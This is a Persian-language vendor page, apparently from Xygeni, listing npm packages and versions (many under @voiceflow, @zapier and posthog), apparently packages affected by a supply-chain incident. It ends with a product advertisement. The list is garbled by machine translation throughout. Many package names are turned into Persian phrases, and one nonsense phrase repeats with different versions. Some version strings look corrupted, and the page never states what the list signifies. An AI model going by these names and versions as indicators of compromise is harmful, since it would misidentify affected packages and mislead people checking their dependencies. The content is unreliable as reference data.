@voiceflow/circleci-config-sdk-orb-import۷.۸.۳، ۷.۸.۴
@voiceflow/commitپیکربندی lint۷.۸.۳، ۷.۸.۴
@voiceflow/common۷.۸.۳، ۷.۸.۴
@voiceflow/default-prompt-wrappers۷.۸.۳، ۷.۸.۴
@voiceflow/dependency-cruiser-config۷.۸.۳، ۷.۸.۴
@voiceflow/dtos-interact۷.۸.۳، ۷.۸.۴
@voiceflow/encryption۷.۸.۳، ۷.۸.۴
@voiceflow/eslint-config۷.۸.۳، ۷.۸.۴
@voiceflow/eslint-plugin۷.۸.۳، ۷.۸.۴
@voiceflow/exception۷.۸.۳، ۷.۸.۴
@voiceflow/fetch۷.۸.۳، ۷.۸.۴
@voiceflow/general-types۷.۸.۳، ۷.۸.۴
@voiceflow/git-branch-check۷.۸.۳، ۷.۸.۴
@voiceflow/google-dfes-types۷.۸.۳، ۷.۸.۴
@voiceflow/google-types۷.۸.۳، ۷.۸.۴
@voiceflow/husky-config۷.۸.۳، ۷.۸.۴
@voiceflow/logger۷.۸.۳، ۷.۸.۴
@voiceflow/metrics۷.۸.۳، ۷.۸.۴
@voiceflow/natural-language-commander۷.۸.۳، ۷.۸.۴
@voiceflow/nestjs-common۷.۸.۳، ۷.۸.۴
@voiceflow/nestjs-mongodb۷.۸.۳، ۷.۸.۴
@voiceflow/nestjs-rate-limit۷.۸.۳، ۷.۸.۴
@voiceflow/nestjs-redis۷.۸.۳، ۷.۸.۴
@voiceflow/nestjs-timeout۷.۸.۳، ۷.۸.۴
@voiceflow/npm-package-json-lint-config۷.۸.۳، ۷.۸.۴
@voiceflow/openai۷.۸.۳، ۷.۸.۴
@voiceflow/پینو۷.۸.۳، ۷.۸.۴
@voiceflow/pino-pretty۷.۸.۳، ۷.۸.۴
@voiceflow/prettier-config۷.۸.۳، ۷.۸.۴
@voiceflow/react-chat۷.۸.۳، ۷.۸.۴
@voiceflow/runtime۷.۸.۳، ۷.۸.۴
@voiceflow/runtime-client-js۷.۸.۳، ۷.۸.۴
@voiceflow/sdk-runtime۷.۸.۳، ۷.۸.۴
@voiceflow/secrets-provider۷.۸.۳، ۷.۸.۴
@voiceflow/semantic-release-config۷.۸.۳، ۷.۸.۴
@voiceflow/serverless-plugin-typescript۷.۸.۳، ۷.۸.۴
@voiceflow/slate-serializer۷.۸.۳، ۷.۸.۴
@voiceflow/stitches-react۷.۸.۳، ۷.۸.۴
@voiceflow/storybook-config۷.۸.۳، ۷.۸.۴
@voiceflow/stylelint-config۷.۸.۳، ۷.۸.۴
@voiceflow/test-common۷.۸.۳، ۷.۸.۴
@voiceflow/tsconfig۷.۸.۳، ۷.۸.۴
@voiceflow/tsconfig-paths۷.۸.۳، ۷.۸.۴
@voiceflow/utils-designer۷.۸.۳، ۷.۸.۴
@voiceflow/verror۷.۸.۳، ۷.۸.۴
@voiceflow/vite-config۷.۸.۳، ۷.۸.۴
@voiceflow/vitest-config۷.۸.۳، ۷.۸.۴
@voiceflow/voice-types۷.۸.۳، ۷.۸.۴
@voiceflow/voiceflow-types۷.۸.۳، ۷.۸.۴
@voiceflow/ویجت۷.۸.۳، ۷.۸.۴
@zapier/ai-actions۱۸.۰.۴، ۱۸.۰.۳، ۱۸.۰.۲
@zapier/babel-preset-zapier۱۸.۰.۴، ۱۸.۰.۳، ۱۸.۰.۲
@zapier/browserslist-config-zapier۱۸.۰.۴، ۱۸.۰.۳، ۱۸.۰.۲
@zapier/secret-scrubber۱۸.۰.۴، ۱۸.۰.۳، ۱۸.۰.۲
سپر ai-crow1.0.7
قوس-cli-fc1.0.1
پیش‌نمایش آسینکاپی۷.۸.۳، ۷.۸.۴
آتریکس1.0.1
مدل_اتوماسیون1.0.491
سازنده‌ی axios1.2.1
لغوپذیر axios۷.۸.۳، ۷.۸.۴
زمان‌بندی شده با axios۷.۸.۳، ۷.۸.۴
barebones-css۷.۸.۳، ۷.۸.۴
قاب-چاپ-بنموستاین1.0.1
بهترینgpioکنترل کننده1.0.10
آداپتور دو طرفه۱.۰.۴، ۱.۰.۳، ۱.۰.۲، ۱.۰.۱
اعدام‌های بلینکیو-کلی1.0.41
لکه به پایه641.0.3
افزونه bun-httpfile0.1.1
بررسی‌کننده بایت‌کد-کلی۱.۰.۴، ۱.۰.۳، ۱.۰.۲، ۱.۰.۱
بایت به x1.0.1
محاسبه بهره وام1.0.4
افزونه-خازن-apptrackingios0.0.21
خرید افزونه خازن0.1.1
افزونه خازن-scgssigninwithgoogle0.0.5
تاریخچه خرید خازن0.0.10
ضبط کننده صدا با خازن و فرمت wav6.0.3
دانلود افزونه‌های کروم۷.۸.۳، ۷.۸.۴
به‌روزرسانی توکن کلود1.0.3
کوین‌مارکت‌کپ-ای‌پی۷.۸.۳، ۷.۸.۴
رنگ‌ها-عبارت منظم2.0.1
فرمان-ایریل0.5.4
مقایسه-obj۷.۸.۳، ۷.۸.۴
کاهنده کامپوزیت۱.۰.۴، ۱.۰.۳، ۱.۰.۲، ۱.۰.۱
شمارش معکوس۷.۸.۳، ۷.۸.۴
دستورالعمل‌های پردازنده0.0.14
ایجاد-مدیر-برنامه0.1.1
ایجاد-شادی-برنامه۷.۸.۳، ۷.۸.۴
ایجاد-hardhat3-app۱.۰.۴، ۱.۰.۳، ۱.۰.۲، ۱.۰.۱
کدک رمزنگاری-افزودنی0.1.9
css-dedoupe0.1.2
dashboardحالت خالی1.0.3
designstudiouiux1.0.1
devstart-cli1.0.6
dialogflow-es۱.۰.۴، ۱.۰.۳، ۱.۰.۲، ۱.۰.۱
سرور ربات دیسکورد0.1.2
عصاره وانیل - افزونه docusaurus1.0.3
نرو1.1.2
قالب دات نت۷.۸.۳، ۷.۸.۴
افزونه drop-events-on-property0.0.2
تستر تحویل ایمیل1.1.1
اجرای نام شعبه1.1.3
افزونه esbuild-brotli0.2.1
افزونه esbuild-eta0.1.1
esbuild-plugin-httpfile0.4.1
پیکربندی eslint-نکته‌سنج4.0.1
eslint-config-trigo22.0.2
eslint-config-zeallat-base1.0.4
اتریوم-ens0.8.1
evm-checkcode-cli۱.۰.۴، ۱.۰.۳، ۱.۰.۲، ۱.۰.۱
دقیق-تیکر0.3.5
جلسه صوتی اکسپو0.2.1
اکسپرسوها1.1.3
انگشت چاق۷.۸.۳، ۷.۸.۴
ویژگی-تلنگر۷.۸.۳، ۷.۸.۴
موتور جستجوی فایراستور1.2.3
fittxt۷.۸.۳، ۷.۸.۴
فلپ‌استک‌ها۷.۸.۳، ۷.۸.۴
صاف کردن-ناهموار کردن۷.۸.۳، ۷.۸.۴
تمرکز روی خطای فرمیک2.0.1
فروشگاه فرمیک1.0.1
یاب فازی۷.۸.۳، ۷.۸.۴
کد بررسی گیت-ای‌وی‌‌ام۲۱.۰.۴، ۱.۰.۳، ۱.۰.۲، ۱.۰.۱
ابزارهای تست گیت-ای‌وی‌ام۱.۰.۴، ۱.۰.۳، ۱.۰.۲، ۱.۰.۱
گتسبی-افزونه-cname۷.۸.۳، ۷.۸.۴
ژنراتور-شهاب-انبار0.1.6
ژنراتور-ng-itobuz0.0.15
دریافت-آنها-آرگ‌ها1.3.3
گیت‌هاب-اکشن-برای-ژنراتور۷.۸.۳، ۷.۸.۴
گیت‌سیف1.0.5
قالب برو۷.۸.۳، ۷.۸.۴
gulp-inject-envs۷.۸.۳، ۷.۸.۴
کلاینت api هاف-اکسرا۷.۸.۳، ۷.۸.۴
امید-mapboxdraw0.1.1
امیدرو1.0.3
نمونه اولیه طراحی شناور0.0.5
http بودن۷.۸.۳، ۷.۸.۴
بیش از حد پرپشت1.0.3
هیپرترم-هیپستر1.0.7
شناسه‌ها-css1.5.1
شناسه‌ها-enterprise-mcp-سرور0.0.2
شناسه‌ها-enterprise-ng20.1.6
شناسه‌ها-enterpriseتایپ‌ها20.1.6
تبدیل تصویر به uri۷.۸.۳، ۷.۸.۴
افزونه بی‌خوابی-انتخاب تصادفی1.0.4
اینو0.2.2
سپر آهنی-مینی اپ0.0.2
دکمه ایتو8.0.3
زاویه دار itobuz0.0.1
itobuz-angular-auth8.0.11
دکمه زاویه‌دار itobuz8.0.11
جیکوب زوما۷.۸.۳، ۷.۸.۴
آزمون jaetut-varit1.0.2
مرورگر جان0.13.1
پیوندهای جی کوئری۷.۸.۳، ۷.۸.۴
جیسونسورج1.0.7
فقط برشته1.7.1
کشتن-پورت۷.۸.۳، ۷.۸.۴
منطقه اداری کره - geo-json-util1.0.7
کوامی۷.۸.۳، ۷.۸.۴
کدهای زبان۷.۸.۳، ۷.۸.۴
مجوز-o-matic۷.۸.۳، ۷.۸.۴
تصویر مرحله‌ای با خط تیره۷.۸.۳، ۷.۸.۴
سرور lite-serper-mcp0.2.2
لونو-آپی1.2.3
سیستم-صورتحساب-دستی-miniapp-api1.3.1
اطلاعیه افزونه مدوسا0.0.3
لاگ‌های افزونه مدوسا0.0.17
افزونه مدوسا-مومو0.0.68
نقد و بررسی محصول افزونه مدوسا - kvy0.0.4
افزونه مدوسا-زالوپای0.0.40
رقم کنترلی mod101.0.1
mon-package-react-typescript1.0.1
سعید من0.1.1
n8n-گره‌ها-tmdb0.5.1
n8n-nodes-vercel-ai-sdk0.1.7
n8n-nodes-viral-app0.2.5
نانوریست۷.۸.۳، ۷.۸.۴
وابستگی دایره‌ای بعدی۷.۸.۳، ۷.۸.۴
گوگل آنالیتیکس ساده بعدی۷.۸.۳، ۷.۸.۴
پیشرفت-مدل-بعدی۷.۸.۳، ۷.۸.۴
ngx-useful-swiper-prosenjit9.0.2
ngx-wooapi12.0.1
فروشگاه معمولی۱.۰.۴، ۱.۰.۳، ۱.۰.۲، ۱.۰.۱
obj-to-css۷.۸.۳، ۷.۸.۴
روتر واکنشی اکتا-۶5.0.1
open2internet0.1.1
آیکون‌های جعبه‌ای مداری2.1.3
ابزارهای رسم سحابی مدار1.0.10
ویرایشگر مدار-سحابی1.0.2
صابون مداری0.43.13
ارکستر12.1.2
تستر بسته1.0.1
افزونه-بسته-دارایی-کپی۷.۸.۳، ۷.۸.۴
حاشیه‌نویسی پی‌دی‌اف0.0.2
پیکلیت1.0.1
پیکو-یوئید۷.۸.۳، ۷.۸.۴
pkg-readme1.1.1
poper-react-sdk0.1.2
پست‌هاگ-دوکوزوروس2.0.6
posthog-js1.297.3
گره پس‌هوگ۱۸.۰.۴، ۱۸.۰.۳، ۱۸.۰.۲
افزونه posthog-hello-world1.0.1
posthog-react-native۷.۸.۳، ۷.۸.۴
posthog-react-native-session-replay1.2.2
میز درجه یک0.0.19
سریع-انگلیسی1.0.50
پونی-رک1.0.3
ra-auth-firebase1.0.3
ra-data-firebase۷.۸.۳، ۷.۸.۴
برچسب‌های کامپوننت واکنش‌گرا0.1.9
واکنش-داده-برای-صادرات1.0.1
بازرس عنصر واکنش سریع0.1.18
واکنش-favic1.0.2
واکنش-قلاب-فرم-ادامه۷.۸.۳، ۷.۸.۴
آیکون‌های واکنشی jam۷.۸.۳، ۷.۸.۴
واکنش-کلیدپوش-زمینه۷.۸.۳، ۷.۸.۴
راه‌اندازی کتابخانه واکنشی0.0.6
لودر خطی واکنشی1.0.2
واکنش-میکرومدال.js۷.۸.۳، ۷.۸.۴
بخش‌های موردنیاز علامت‌گذاری شده‌اند۷.۸.۳، ۷.۸.۴
ایمیل واکنش‌گرا۷.۸.۳، ۷.۸.۴
واکنش-بومی-واکشی۷.۸.۳، ۷.۸.۴
ابعاد پیکسل را در react-native دریافت کنید۷.۸.۳، ۷.۸.۴
بخش‌های موردنیاز علامت‌گذاری شده‌اند2.1.2
بخش‌های موردنیاز علامت‌گذاری شده‌اند۷.۸.۳، ۷.۸.۴
سطح لاگ واکنش‌گرا (react-native)۷.۸.۳، ۷.۸.۴
چک باکس react-native-modest3.3.1
ذخیره سازی واکنش گرای بومی2.1.1
تماس تلفنی واکنش‌گرا (React-native)۷.۸.۳، ۷.۸.۴
واکنش-بومی-قابل-بازیابی-واکشی۷.۸.۳، ۷.۸.۴
واکنش-بومی-استفاده-مودال1.0.3
نمایاب واکنش‌گرا (react-native)۷.۸.۳، ۷.۸.۴
وب سوکت واکنش‌گرا۷.۸.۳، ۷.۸.۴
توابع worklet واکنش‌گرا3.3.3
واکنش-qr-image1.1.1
rediff1.0.5
نمایشگر rediff0.0.7
کیت روتر ریداکس۱۸.۰.۴، ۱۸.۰.۳، ۱۸.۰.۲
افزونه rollup-httpfile0.2.1
شماره ثبت شرکت sa-regex۷.۸.۳، ۷.۸.۴
sa-id-gen۷.۸.۳، ۷.۸.۴
همان1.0.3
خازن scgs-subscribe1.0.11
scgsffcreator1.0.5
مجموعه-تودرتو-prop۷.۸.۳، ۷.۸.۴
شلف-jwt-sessions0.1.2
پوسته اجرایی۷.۸.۳، ۷.۸.۴
ضایعات شینهان-لیمیت1.0.3
مهارت‌ها-استفاده۷.۸.۳، ۷.۸.۴
داستان‌های سولومون-ای‌پی1.0.2
داستان‌های سلیمان نسخه ۳1.15.6
سولومون-نسخه3-رابط-کاربری-بسته‌بندی1.6.1
مرتب‌سازی بر اساس فاصله2.0.1
اطلاعات شناسایی آفریقای جنوبی1.0.2
آمار-fns1.0.1
استور2.3.2
فوق العادهcommit1.0.1
انتخاب خودکار svelte1.1.1
برشته و نرم۷.۸.۳، ۷.۸.۴
جدول tanstack-shadcn1.1.5
تی سی اس پی2.0.2
آزمون tcsp-draw1.0.5
tcsp-test-vd2.4.4
قالب-lib۷.۸.۳، ۷.۸.۴
قالب-میکرو-سرویس۷.۸.۳، ۷.۸.۴
سرسخت-واکشی۷.۸.۳، ۷.۸.۴
اپلیکیشن تست فاندری۱.۰.۴، ۱.۰.۳، ۱.۰.۲، ۱.۰.۱
برنامه تست-هاردت۱.۰.۴، ۱.۰.۳، ۱.۰.۲، ۱.۰.۱
test23112222-api1.0.1
تیان1.0.2
توکن.js-fork0.7.32
برنامه واکنشی trigo4.1.2
نوع حصار۷.۸.۳، ۷.۸.۴
نوع-اورم-اوربِت0.2.27
تایپ شده با undefsafe۷.۸.۳، ۷.۸.۴
آپلندویی0.5.4
آپلود-به-فروشگاه-پخش۷.۸.۳، ۷.۸.۴
رمزگذاری-رمزگشایی آدرس اینترنتی۷.۸.۳، ۷.۸.۴
استفاده از تغییرات ذخیره نشده1.0.9
شناسه معتبر آفریقای جنوبی1.0.3
قالب vf-oss۱.۰.۴، ۱.۰.۳، ۱.۰.۲، ۱.۰.۱
افزونه vite-httpfile0.2.1
به‌روزرسانی مرورگر vue-nuxt1.0.5
وب اسکرپر-ام سی پی1.1.4
انواع وب-htmx0.1.1
انواع وب روشن0.1.1
فایل http-loader-webpack0.2.1
گالری-متخصص-سلامت5.1.1
ونک۷.۸.۳، ۷.۸.۴
ذخیره‌سازی ناهمگام زاپیر۱۸.۰.۴، ۱۸.۰.۳، ۱۸.۰.۲
zapier-platform-cli۱۸.۰.۴، ۱۸.۰.۳، ۱۸.۰.۲
هسته پلتفرم زاپیر۱۸.۰.۴، ۱۸.۰.۳، ۱۸.۰.۲
طرحواره پلتفرم zapier۱۸.۰.۴، ۱۸.۰.۳، ۱۸.۰.۲
اسکریپت‌های zapier۷.۸.۳، ۷.۸.۴
زوپر-کلی1.0.1
زوپر-اس‌دی‌کی1.0.57
جریان زوپر2.0.9
ابزارهای-نرم‌افزاری-ترکیب-تحلیل-ترکیب-ابزارها
ریسک‌های نرم‌افزاری خود را اولویت‌بندی، اصلاح و ایمن‌سازی کنید
حساب کاربری رایگان خود را دریافت کنید.
بدون کارت اعتباری مورد نیاز است.

توسعه و تحویل نرم‌افزار خود را ایمن کنید

با مجموعه محصولات Xygeni